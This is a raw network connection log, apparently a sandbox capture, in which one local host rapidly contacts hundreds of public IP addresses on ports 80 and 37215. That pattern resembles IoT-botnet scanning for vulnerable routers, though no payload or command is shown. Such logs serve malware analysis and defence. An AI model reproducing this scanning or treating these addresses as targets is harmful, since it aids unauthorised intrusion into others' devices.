Dec 3, 2024 22:02:02.900325060 CET	39296	80	192.168.2.14	5.225.17.254
Dec 3, 2024 22:02:02.900336981 CET	39296	80	192.168.2.14	77.82.151.154
Dec 3, 2024 22:02:02.900345087 CET	39296	80	192.168.2.14	200.49.165.97
Dec 3, 2024 22:02:02.900353909 CET	39296	80	192.168.2.14	204.99.151.86
Dec 3, 2024 22:02:02.900366068 CET	39296	80	192.168.2.14	108.59.85.141
Dec 3, 2024 22:02:02.900403976 CET	39296	80	192.168.2.14	24.113.213.214
Dec 3, 2024 22:02:02.900405884 CET	39296	80	192.168.2.14	108.182.244.132
Dec 3, 2024 22:02:02.900414944 CET	39296	80	192.168.2.14	148.88.71.31
Dec 3, 2024 22:02:02.900423050 CET	39296	80	192.168.2.14	19.163.196.109
Dec 3, 2024 22:02:02.900438070 CET	39296	80	192.168.2.14	220.237.191.74
Dec 3, 2024 22:02:02.900448084 CET	39296	80	192.168.2.14	167.9.241.76
Dec 3, 2024 22:02:02.900458097 CET	39296	80	192.168.2.14	66.68.121.161
Dec 3, 2024 22:02:02.900477886 CET	39296	80	192.168.2.14	182.19.195.252
Dec 3, 2024 22:02:02.900486946 CET	39296	80	192.168.2.14	177.67.39.170
Dec 3, 2024 22:02:02.900490046 CET	39296	80	192.168.2.14	135.94.24.160
Dec 3, 2024 22:02:02.900494099 CET	39296	80	192.168.2.14	198.63.88.199
Dec 3, 2024 22:02:02.900501966 CET	39296	80	192.168.2.14	171.253.62.147
Dec 3, 2024 22:02:02.900531054 CET	39296	80	192.168.2.14	36.69.121.98
Dec 3, 2024 22:02:02.900547028 CET	39296	80	192.168.2.14	57.20.183.7
Dec 3, 2024 22:02:02.900557995 CET	39296	80	192.168.2.14	212.189.15.25
Dec 3, 2024 22:02:02.900561094 CET	39296	80	192.168.2.14	196.3.207.184
Dec 3, 2024 22:02:02.900563002 CET	39296	80	192.168.2.14	96.235.207.232
Dec 3, 2024 22:02:02.900566101 CET	39296	80	192.168.2.14	31.120.223.167
Dec 3, 2024 22:02:02.900567055 CET	39296	80	192.168.2.14	187.229.36.112
Dec 3, 2024 22:02:02.900576115 CET	39296	80	192.168.2.14	212.184.60.1
Dec 3, 2024 22:02:02.900584936 CET	39296	80	192.168.2.14	119.238.215.74
Dec 3, 2024 22:02:02.900589943 CET	39296	80	192.168.2.14	41.135.50.198
Dec 3, 2024 22:02:02.900599957 CET	39296	80	192.168.2.14	38.205.219.134
Dec 3, 2024 22:02:02.900635004 CET	39296	80	192.168.2.14	45.65.226.149
Dec 3, 2024 22:02:02.900648117 CET	39296	80	192.168.2.14	69.138.43.239
Dec 3, 2024 22:02:02.900659084 CET	39296	80	192.168.2.14	105.100.14.115
Dec 3, 2024 22:02:02.900669098 CET	39296	80	192.168.2.14	66.11.99.152
Dec 3, 2024 22:02:02.900685072 CET	39296	80	192.168.2.14	52.192.155.60
Dec 3, 2024 22:02:02.900686979 CET	39296	80	192.168.2.14	206.237.205.253
Dec 3, 2024 22:02:02.900696039 CET	39296	80	192.168.2.14	221.205.219.247
Dec 3, 2024 22:02:02.900724888 CET	39296	80	192.168.2.14	202.149.68.190
Dec 3, 2024 22:02:02.900733948 CET	39296	80	192.168.2.14	82.211.222.155
Dec 3, 2024 22:02:02.900746107 CET	39296	80	192.168.2.14	108.255.42.128
Dec 3, 2024 22:02:02.900751114 CET	55894	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:02.900758982 CET	39296	80	192.168.2.14	211.68.78.77
Dec 3, 2024 22:02:02.900774956 CET	39296	80	192.168.2.14	43.39.4.76
Dec 3, 2024 22:02:02.900775909 CET	39296	80	192.168.2.14	221.253.70.150
Dec 3, 2024 22:02:02.900789022 CET	39296	80	192.168.2.14	61.142.127.20
Dec 3, 2024 22:02:02.900798082 CET	39296	80	192.168.2.14	123.194.32.230
Dec 3, 2024 22:02:02.900820971 CET	39296	80	192.168.2.14	2.122.244.64
Dec 3, 2024 22:02:02.900836945 CET	39296	80	192.168.2.14	97.6.184.172
Dec 3, 2024 22:02:02.900856972 CET	39296	80	192.168.2.14	138.46.194.14
Dec 3, 2024 22:02:02.900863886 CET	39296	80	192.168.2.14	143.184.111.119
Dec 3, 2024 22:02:02.900865078 CET	39296	80	192.168.2.14	168.160.59.215
Dec 3, 2024 22:02:02.900876045 CET	39296	80	192.168.2.14	184.214.197.135
Dec 3, 2024 22:02:02.900907993 CET	39296	80	192.168.2.14	182.97.226.134
Dec 3, 2024 22:02:02.900923014 CET	39296	80	192.168.2.14	67.27.197.215
Dec 3, 2024 22:02:02.900933981 CET	39296	80	192.168.2.14	57.169.240.93
Dec 3, 2024 22:02:02.900935888 CET	39296	80	192.168.2.14	181.137.51.230
Dec 3, 2024 22:02:02.900943041 CET	39296	80	192.168.2.14	207.114.235.162
Dec 3, 2024 22:02:02.900949001 CET	39296	80	192.168.2.14	122.161.173.189
Dec 3, 2024 22:02:02.900959969 CET	39296	80	192.168.2.14	218.191.181.196
Dec 3, 2024 22:02:02.900966883 CET	39296	80	192.168.2.14	43.165.165.18
Dec 3, 2024 22:02:02.901010990 CET	39296	80	192.168.2.14	95.220.120.200
Dec 3, 2024 22:02:02.901025057 CET	39296	80	192.168.2.14	114.156.18.174
Dec 3, 2024 22:02:02.901041985 CET	39296	80	192.168.2.14	211.204.15.72
Dec 3, 2024 22:02:02.901052952 CET	39296	80	192.168.2.14	152.27.10.104
Dec 3, 2024 22:02:02.901052952 CET	39296	80	192.168.2.14	24.195.221.188
Dec 3, 2024 22:02:02.901060104 CET	39296	80	192.168.2.14	71.181.178.216
Dec 3, 2024 22:02:02.901065111 CET	39296	80	192.168.2.14	74.185.1.25
Dec 3, 2024 22:02:02.901070118 CET	39296	80	192.168.2.14	197.11.179.78
Dec 3, 2024 22:02:02.901108980 CET	39296	80	192.168.2.14	48.127.179.162
Dec 3, 2024 22:02:02.901117086 CET	39296	80	192.168.2.14	71.164.170.67
Dec 3, 2024 22:02:02.901129007 CET	39296	80	192.168.2.14	197.34.116.176
Dec 3, 2024 22:02:02.901134014 CET	39296	80	192.168.2.14	131.235.122.112
Dec 3, 2024 22:02:02.901145935 CET	39296	80	192.168.2.14	34.199.106.228
Dec 3, 2024 22:02:02.901155949 CET	39296	80	192.168.2.14	174.70.241.102
Dec 3, 2024 22:02:02.901160955 CET	39296	80	192.168.2.14	60.176.183.123
Dec 3, 2024 22:02:02.901166916 CET	39296	80	192.168.2.14	168.55.88.244
Dec 3, 2024 22:02:02.901179075 CET	39296	80	192.168.2.14	181.23.212.220
Dec 3, 2024 22:02:02.901185036 CET	39296	80	192.168.2.14	13.241.173.220
Dec 3, 2024 22:02:02.901215076 CET	39296	80	192.168.2.14	149.247.2.197
Dec 3, 2024 22:02:02.901228905 CET	39296	80	192.168.2.14	17.4.23.178
Dec 3, 2024 22:02:02.901231050 CET	39296	80	192.168.2.14	206.240.64.162
Dec 3, 2024 22:02:02.901238918 CET	39296	80	192.168.2.14	159.90.135.60
Dec 3, 2024 22:02:02.901249886 CET	39296	80	192.168.2.14	198.142.93.168
Dec 3, 2024 22:02:02.901273012 CET	39296	80	192.168.2.14	121.113.205.252
Dec 3, 2024 22:02:02.901279926 CET	39296	80	192.168.2.14	138.141.165.85
Dec 3, 2024 22:02:02.901310921 CET	39296	80	192.168.2.14	132.224.149.144
Dec 3, 2024 22:02:02.901314974 CET	39296	80	192.168.2.14	125.234.88.136
Dec 3, 2024 22:02:02.901324987 CET	39296	80	192.168.2.14	74.152.90.113
Dec 3, 2024 22:02:02.901340008 CET	39296	80	192.168.2.14	113.228.226.103
Dec 3, 2024 22:02:02.901340008 CET	39296	80	192.168.2.14	196.73.242.224
Dec 3, 2024 22:02:02.901351929 CET	39296	80	192.168.2.14	193.154.206.221
Dec 3, 2024 22:02:02.901365995 CET	39296	80	192.168.2.14	71.151.32.144
Dec 3, 2024 22:02:02.901370049 CET	39296	80	192.168.2.14	90.193.169.109
Dec 3, 2024 22:02:02.901381969 CET	39296	80	192.168.2.14	94.145.174.111
Dec 3, 2024 22:02:02.901415110 CET	39296	80	192.168.2.14	110.37.151.169
Dec 3, 2024 22:02:02.901415110 CET	58744	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:02.901432037 CET	39296	80	192.168.2.14	130.185.35.69
Dec 3, 2024 22:02:02.901437998 CET	39296	80	192.168.2.14	162.60.125.164
Dec 3, 2024 22:02:02.901451111 CET	39296	80	192.168.2.14	85.216.78.19
Dec 3, 2024 22:02:02.901459932 CET	39296	80	192.168.2.14	154.150.251.113
Dec 3, 2024 22:02:02.901472092 CET	39296	80	192.168.2.14	217.164.212.147
Dec 3, 2024 22:02:02.901500940 CET	39296	80	192.168.2.14	144.11.121.115
Dec 3, 2024 22:02:02.901514053 CET	39296	80	192.168.2.14	2.4.173.89
Dec 3, 2024 22:02:02.901523113 CET	39296	80	192.168.2.14	173.28.98.228
Dec 3, 2024 22:02:02.901532888 CET	39296	80	192.168.2.14	216.21.46.246
Dec 3, 2024 22:02:02.901537895 CET	39296	80	192.168.2.14	186.102.177.235
Dec 3, 2024 22:02:02.901551008 CET	39296	80	192.168.2.14	54.0.42.55
Dec 3, 2024 22:02:02.901557922 CET	39296	80	192.168.2.14	142.36.153.102
Dec 3, 2024 22:02:02.901575089 CET	39296	80	192.168.2.14	109.66.192.213
Dec 3, 2024 22:02:02.901582003 CET	39296	80	192.168.2.14	64.7.243.148
Dec 3, 2024 22:02:02.901612043 CET	39296	80	192.168.2.14	38.10.210.151
Dec 3, 2024 22:02:02.901619911 CET	39296	80	192.168.2.14	205.181.141.175
Dec 3, 2024 22:02:02.901632071 CET	39296	80	192.168.2.14	118.60.243.95
Dec 3, 2024 22:02:02.901644945 CET	39296	80	192.168.2.14	154.59.37.153
Dec 3, 2024 22:02:02.901645899 CET	39296	80	192.168.2.14	49.180.243.195
Dec 3, 2024 22:02:02.901650906 CET	39296	80	192.168.2.14	90.64.217.34
Dec 3, 2024 22:02:02.901659012 CET	39296	80	192.168.2.14	213.243.70.190
Dec 3, 2024 22:02:02.901670933 CET	39296	80	192.168.2.14	54.121.87.123
Dec 3, 2024 22:02:02.901678085 CET	39296	80	192.168.2.14	221.100.230.9
Dec 3, 2024 22:02:02.901695013 CET	39296	80	192.168.2.14	66.46.92.12
Dec 3, 2024 22:02:02.901735067 CET	39296	80	192.168.2.14	152.213.64.156
Dec 3, 2024 22:02:02.901743889 CET	39296	80	192.168.2.14	37.61.212.166
Dec 3, 2024 22:02:02.901757002 CET	39296	80	192.168.2.14	145.211.215.206
Dec 3, 2024 22:02:02.901757002 CET	39296	80	192.168.2.14	139.105.102.145
Dec 3, 2024 22:02:02.901770115 CET	39296	80	192.168.2.14	213.215.59.55
Dec 3, 2024 22:02:02.901774883 CET	39296	80	192.168.2.14	80.221.191.159
Dec 3, 2024 22:02:02.901788950 CET	39296	80	192.168.2.14	72.242.230.230
Dec 3, 2024 22:02:02.901798964 CET	39296	80	192.168.2.14	58.150.62.140
Dec 3, 2024 22:02:02.901834965 CET	39296	80	192.168.2.14	177.8.6.2
Dec 3, 2024 22:02:02.901849985 CET	39296	80	192.168.2.14	93.243.94.195
Dec 3, 2024 22:02:02.901861906 CET	39296	80	192.168.2.14	198.7.224.60
Dec 3, 2024 22:02:02.901870966 CET	39296	80	192.168.2.14	31.136.33.250
Dec 3, 2024 22:02:02.901880026 CET	39296	80	192.168.2.14	43.223.26.2
Dec 3, 2024 22:02:02.901889086 CET	39296	80	192.168.2.14	95.135.52.64
Dec 3, 2024 22:02:02.901899099 CET	39296	80	192.168.2.14	143.12.33.145
Dec 3, 2024 22:02:02.901937008 CET	39296	80	192.168.2.14	191.3.36.33
Dec 3, 2024 22:02:02.901938915 CET	39296	80	192.168.2.14	141.245.181.131
Dec 3, 2024 22:02:02.901952982 CET	39296	80	192.168.2.14	166.178.20.172
Dec 3, 2024 22:02:02.901966095 CET	39296	80	192.168.2.14	113.136.74.108
Dec 3, 2024 22:02:02.901977062 CET	39296	80	192.168.2.14	18.115.37.212
Dec 3, 2024 22:02:02.901979923 CET	39296	80	192.168.2.14	182.226.2.224
Dec 3, 2024 22:02:02.901993036 CET	39296	80	192.168.2.14	52.219.254.55
Dec 3, 2024 22:02:02.901999950 CET	39296	80	192.168.2.14	171.162.236.78
Dec 3, 2024 22:02:02.902019978 CET	39296	80	192.168.2.14	197.41.232.177
Dec 3, 2024 22:02:02.902067900 CET	39296	80	192.168.2.14	180.247.0.173
Dec 3, 2024 22:02:02.902080059 CET	39296	80	192.168.2.14	9.128.160.230
Dec 3, 2024 22:02:02.902091980 CET	39296	80	192.168.2.14	189.194.32.163
Dec 3, 2024 22:02:02.902100086 CET	39296	80	192.168.2.14	41.137.131.206
Dec 3, 2024 22:02:02.902107954 CET	39296	80	192.168.2.14	112.157.35.191
Dec 3, 2024 22:02:02.902138948 CET	39296	80	192.168.2.14	130.100.98.196
Dec 3, 2024 22:02:02.902144909 CET	48542	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:02.902147055 CET	39296	80	192.168.2.14	90.205.32.235
Dec 3, 2024 22:02:02.902158976 CET	39296	80	192.168.2.14	129.184.48.141
Dec 3, 2024 22:02:02.902169943 CET	39296	80	192.168.2.14	177.241.187.38
Dec 3, 2024 22:02:02.902179956 CET	39296	80	192.168.2.14	45.75.123.167
Dec 3, 2024 22:02:02.902184010 CET	39296	80	192.168.2.14	184.40.1.19
Dec 3, 2024 22:02:02.902199030 CET	39296	80	192.168.2.14	14.210.210.18
Dec 3, 2024 22:02:02.902209044 CET	39296	80	192.168.2.14	79.221.203.247
Dec 3, 2024 22:02:02.902216911 CET	39296	80	192.168.2.14	93.181.146.236
Dec 3, 2024 22:02:02.902247906 CET	39296	80	192.168.2.14	200.205.172.3
Dec 3, 2024 22:02:02.902262926 CET	39296	80	192.168.2.14	190.87.92.93
Dec 3, 2024 22:02:02.902262926 CET	39296	80	192.168.2.14	202.73.106.207
Dec 3, 2024 22:02:02.902272940 CET	39296	80	192.168.2.14	92.240.122.143
Dec 3, 2024 22:02:02.902272940 CET	39296	80	192.168.2.14	149.128.174.78
Dec 3, 2024 22:02:02.902281046 CET	39296	80	192.168.2.14	99.160.27.168
Dec 3, 2024 22:02:02.902299881 CET	39296	80	192.168.2.14	62.160.101.211
Dec 3, 2024 22:02:02.902301073 CET	39296	80	192.168.2.14	126.153.197.184
Dec 3, 2024 22:02:02.902312994 CET	39296	80	192.168.2.14	109.94.161.141
Dec 3, 2024 22:02:02.902323961 CET	39296	80	192.168.2.14	78.32.31.149
Dec 3, 2024 22:02:02.902332067 CET	39296	80	192.168.2.14	35.13.122.186
Dec 3, 2024 22:02:02.902359962 CET	39296	80	192.168.2.14	41.244.158.253
Dec 3, 2024 22:02:02.902365923 CET	39296	80	192.168.2.14	217.115.35.61
Dec 3, 2024 22:02:02.902371883 CET	39296	80	192.168.2.14	93.179.71.149
Dec 3, 2024 22:02:02.902379036 CET	39296	80	192.168.2.14	179.175.245.51
Dec 3, 2024 22:02:02.902393103 CET	39296	80	192.168.2.14	221.152.74.33
Dec 3, 2024 22:02:02.902407885 CET	39296	80	192.168.2.14	41.96.219.152
Dec 3, 2024 22:02:02.902407885 CET	39296	80	192.168.2.14	196.246.81.121
Dec 3, 2024 22:02:02.902420998 CET	39296	80	192.168.2.14	208.131.13.133
Dec 3, 2024 22:02:02.902430058 CET	39296	80	192.168.2.14	59.56.2.239
Dec 3, 2024 22:02:02.902437925 CET	39296	80	192.168.2.14	60.57.175.47
Dec 3, 2024 22:02:02.902471066 CET	39296	80	192.168.2.14	84.255.95.135
Dec 3, 2024 22:02:02.902477980 CET	39296	80	192.168.2.14	62.125.248.22
Dec 3, 2024 22:02:02.902487040 CET	39296	80	192.168.2.14	175.190.181.1
Dec 3, 2024 22:02:02.902488947 CET	39296	80	192.168.2.14	85.208.10.69
Dec 3, 2024 22:02:02.902504921 CET	39296	80	192.168.2.14	61.215.221.180
Dec 3, 2024 22:02:02.902513027 CET	39296	80	192.168.2.14	223.42.215.143
Dec 3, 2024 22:02:02.902533054 CET	39296	80	192.168.2.14	162.200.145.177
Dec 3, 2024 22:02:02.902534008 CET	39296	80	192.168.2.14	43.57.88.123
Dec 3, 2024 22:02:02.902542114 CET	39296	80	192.168.2.14	182.10.26.147
Dec 3, 2024 22:02:02.902575970 CET	39296	80	192.168.2.14	27.127.235.184
Dec 3, 2024 22:02:02.902590036 CET	39296	80	192.168.2.14	113.163.241.33
Dec 3, 2024 22:02:02.902597904 CET	39296	80	192.168.2.14	180.112.153.70
Dec 3, 2024 22:02:02.902605057 CET	39296	80	192.168.2.14	146.198.123.98
Dec 3, 2024 22:02:02.902609110 CET	39296	80	192.168.2.14	203.3.237.4
Dec 3, 2024 22:02:02.902616024 CET	39296	80	192.168.2.14	187.181.245.158
Dec 3, 2024 22:02:02.902631044 CET	39296	80	192.168.2.14	137.70.141.157
Dec 3, 2024 22:02:02.902642012 CET	39296	80	192.168.2.14	218.102.182.185
Dec 3, 2024 22:02:02.902650118 CET	39296	80	192.168.2.14	144.102.13.40
Dec 3, 2024 22:02:02.902863026 CET	54814	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:02.903341055 CET	45584	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:02.904109955 CET	49780	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:02.904706955 CET	35364	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:02.905267000 CET	43002	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:02.905864000 CET	44306	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:02.906436920 CET	56886	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:02.907021046 CET	45940	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:02.907649994 CET	56092	37215	192.168.2.14	156.71.207.31
Dec 3, 2024 22:02:02.908277988 CET	43248	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:02.908889055 CET	55550	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:02.909471989 CET	53942	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:02.910051107 CET	34158	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:02.910641909 CET	52498	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:02.911243916 CET	49772	37215	192.168.2.14	156.97.134.32
Dec 3, 2024 22:02:02.911824942 CET	42738	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:02.912461996 CET	46224	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:02.913086891 CET	57094	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:02.913712025 CET	38414	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:02.914511919 CET	51700	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:02.915081024 CET	34028	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:02.915644884 CET	57752	37215	192.168.2.14	197.47.140.171
Dec 3, 2024 22:02:02.916218042 CET	37010	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:02.916785955 CET	49020	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:02.917346954 CET	44634	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:02.917963028 CET	49882	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:02.918545961 CET	50396	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:02.919146061 CET	48674	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:02.919723034 CET	57636	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:02.920274019 CET	43360	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:02.920835972 CET	49322	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:02.921406031 CET	36356	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:02.921999931 CET	48250	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:02.922559977 CET	37468	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:02.923129082 CET	52120	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:02.923702002 CET	46448	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:02.924284935 CET	46914	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:02.924856901 CET	47430	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:02.925473928 CET	35768	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:02.926084042 CET	38236	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:02.926670074 CET	49074	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:02.927256107 CET	45228	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:02.927881956 CET	54222	37215	192.168.2.14	156.128.181.170
Dec 3, 2024 22:02:02.928479910 CET	60118	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:02.929143906 CET	60416	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:02.929780006 CET	55910	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:02.930488110 CET	52106	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:02.931080103 CET	45242	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:02.931674004 CET	43406	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:02.932244062 CET	43024	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:02.932852983 CET	36932	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:02.933444977 CET	41480	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:02.949704885 CET	46092	37215	192.168.2.14	156.193.205.255
Dec 3, 2024 22:02:02.950227976 CET	56762	37215	192.168.2.14	41.48.214.226
Dec 3, 2024 22:02:02.950752974 CET	39142	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:02.951272011 CET	42128	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:02.951817989 CET	37170	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:02.952379942 CET	50280	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:02.952910900 CET	43238	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:02.953521967 CET	36120	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:02.954042912 CET	55376	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:02.954545975 CET	52804	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:02.955071926 CET	42606	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:02.955626965 CET	37534	37215	192.168.2.14	156.138.184.13
Dec 3, 2024 22:02:02.956156969 CET	45042	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:02.956702948 CET	55158	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:02.957276106 CET	51332	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:02.957878113 CET	33698	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:02.958472013 CET	39062	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:02.959109068 CET	54474	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:02.959680080 CET	49360	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:02.960242033 CET	51272	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:02.960808992 CET	60676	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:02.961388111 CET	42150	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:02.961977959 CET	56346	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:02.962831974 CET	54160	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:02.963504076 CET	57956	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:03.014981031 CET	37215	40832	197.83.50.226	192.168.2.14
Dec 3, 2024 22:02:03.015002012 CET	37215	40832	197.237.59.118	192.168.2.14
Dec 3, 2024 22:02:03.015055895 CET	37215	40832	41.207.60.22	192.168.2.14
Dec 3, 2024 22:02:03.015065908 CET	37215	40832	156.5.132.186	192.168.2.14
Dec 3, 2024 22:02:03.015073061 CET	37215	40832	197.231.134.202	192.168.2.14
Dec 3, 2024 22:02:03.015083075 CET	40832	37215	192.168.2.14	197.83.50.226
Dec 3, 2024 22:02:03.015084982 CET	37215	40832	41.74.150.174	192.168.2.14
Dec 3, 2024 22:02:03.015089989 CET	40832	37215	192.168.2.14	197.237.59.118
Dec 3, 2024 22:02:03.015099049 CET	37215	40832	41.134.87.124	192.168.2.14
Dec 3, 2024 22:02:03.015100002 CET	40832	37215	192.168.2.14	41.207.60.22
Dec 3, 2024 22:02:03.015100002 CET	40832	37215	192.168.2.14	156.5.132.186
Dec 3, 2024 22:02:03.015115023 CET	40832	37215	192.168.2.14	197.231.134.202
Dec 3, 2024 22:02:03.015117884 CET	37215	40832	41.137.28.215	192.168.2.14
Dec 3, 2024 22:02:03.015120029 CET	40832	37215	192.168.2.14	41.74.150.174
Dec 3, 2024 22:02:03.015134096 CET	37215	40832	41.169.49.210	192.168.2.14
Dec 3, 2024 22:02:03.015139103 CET	40832	37215	192.168.2.14	41.134.87.124
Dec 3, 2024 22:02:03.015144110 CET	37215	40832	41.204.234.62	192.168.2.14
Dec 3, 2024 22:02:03.015146971 CET	40832	37215	192.168.2.14	41.137.28.215
Dec 3, 2024 22:02:03.015167952 CET	40832	37215	192.168.2.14	41.169.49.210
Dec 3, 2024 22:02:03.015172005 CET	40832	37215	192.168.2.14	41.204.234.62
Dec 3, 2024 22:02:03.015203953 CET	37215	40832	156.233.121.125	192.168.2.14
Dec 3, 2024 22:02:03.015213966 CET	37215	40832	197.113.98.202	192.168.2.14
Dec 3, 2024 22:02:03.015244961 CET	40832	37215	192.168.2.14	156.233.121.125
Dec 3, 2024 22:02:03.015244961 CET	40832	37215	192.168.2.14	197.113.98.202
Dec 3, 2024 22:02:03.015333891 CET	37215	40832	197.127.184.231	192.168.2.14
Dec 3, 2024 22:02:03.015345097 CET	37215	40832	197.158.210.226	192.168.2.14
Dec 3, 2024 22:02:03.015353918 CET	37215	40832	156.65.17.105	192.168.2.14
Dec 3, 2024 22:02:03.015368938 CET	37215	40832	197.71.132.97	192.168.2.14
Dec 3, 2024 22:02:03.015377045 CET	37215	40832	41.221.7.205	192.168.2.14
Dec 3, 2024 22:02:03.015387058 CET	37215	40832	197.45.49.70	192.168.2.14
Dec 3, 2024 22:02:03.015389919 CET	40832	37215	192.168.2.14	197.127.184.231
Dec 3, 2024 22:02:03.015396118 CET	40832	37215	192.168.2.14	197.158.210.226
Dec 3, 2024 22:02:03.015396118 CET	40832	37215	192.168.2.14	156.65.17.105
Dec 3, 2024 22:02:03.015397072 CET	37215	40832	41.52.89.148	192.168.2.14
Dec 3, 2024 22:02:03.015405893 CET	37215	40832	41.150.87.238	192.168.2.14
Dec 3, 2024 22:02:03.015412092 CET	40832	37215	192.168.2.14	197.71.132.97
Dec 3, 2024 22:02:03.015422106 CET	37215	40832	156.247.110.96	192.168.2.14
Dec 3, 2024 22:02:03.015429020 CET	40832	37215	192.168.2.14	41.221.7.205
Dec 3, 2024 22:02:03.015434980 CET	37215	40832	41.169.211.235	192.168.2.14
Dec 3, 2024 22:02:03.015440941 CET	40832	37215	192.168.2.14	197.45.49.70
Dec 3, 2024 22:02:03.015445948 CET	40832	37215	192.168.2.14	41.52.89.148
Dec 3, 2024 22:02:03.015446901 CET	37215	40832	41.212.7.29	192.168.2.14
Dec 3, 2024 22:02:03.015449047 CET	40832	37215	192.168.2.14	156.247.110.96
Dec 3, 2024 22:02:03.015460014 CET	40832	37215	192.168.2.14	41.150.87.238
Dec 3, 2024 22:02:03.015460014 CET	37215	40832	41.197.166.51	192.168.2.14
Dec 3, 2024 22:02:03.015475988 CET	37215	40832	156.53.134.68	192.168.2.14
Dec 3, 2024 22:02:03.015475988 CET	40832	37215	192.168.2.14	41.169.211.235
Dec 3, 2024 22:02:03.015485048 CET	40832	37215	192.168.2.14	41.212.7.29
Dec 3, 2024 22:02:03.015485048 CET	37215	40832	197.178.163.42	192.168.2.14
Dec 3, 2024 22:02:03.015494108 CET	37215	40832	41.198.162.115	192.168.2.14
Dec 3, 2024 22:02:03.015512943 CET	40832	37215	192.168.2.14	41.197.166.51
Dec 3, 2024 22:02:03.015515089 CET	40832	37215	192.168.2.14	156.53.134.68
Dec 3, 2024 22:02:03.015526056 CET	40832	37215	192.168.2.14	197.178.163.42
Dec 3, 2024 22:02:03.015532970 CET	40832	37215	192.168.2.14	41.198.162.115
Dec 3, 2024 22:02:03.015551090 CET	37215	40832	156.35.166.92	192.168.2.14
Dec 3, 2024 22:02:03.015559912 CET	37215	40832	156.46.78.126	192.168.2.14
Dec 3, 2024 22:02:03.015568018 CET	37215	40832	197.138.171.55	192.168.2.14
Dec 3, 2024 22:02:03.015584946 CET	40832	37215	192.168.2.14	156.46.78.126
Dec 3, 2024 22:02:03.015588999 CET	40832	37215	192.168.2.14	156.35.166.92
Dec 3, 2024 22:02:03.015592098 CET	40832	37215	192.168.2.14	197.138.171.55
Dec 3, 2024 22:02:03.016239882 CET	37215	40832	41.105.124.119	192.168.2.14
Dec 3, 2024 22:02:03.016283989 CET	40832	37215	192.168.2.14	41.105.124.119
Dec 3, 2024 22:02:03.016331911 CET	37215	40832	156.79.246.90	192.168.2.14
Dec 3, 2024 22:02:03.016341925 CET	37215	40832	156.18.140.14	192.168.2.14
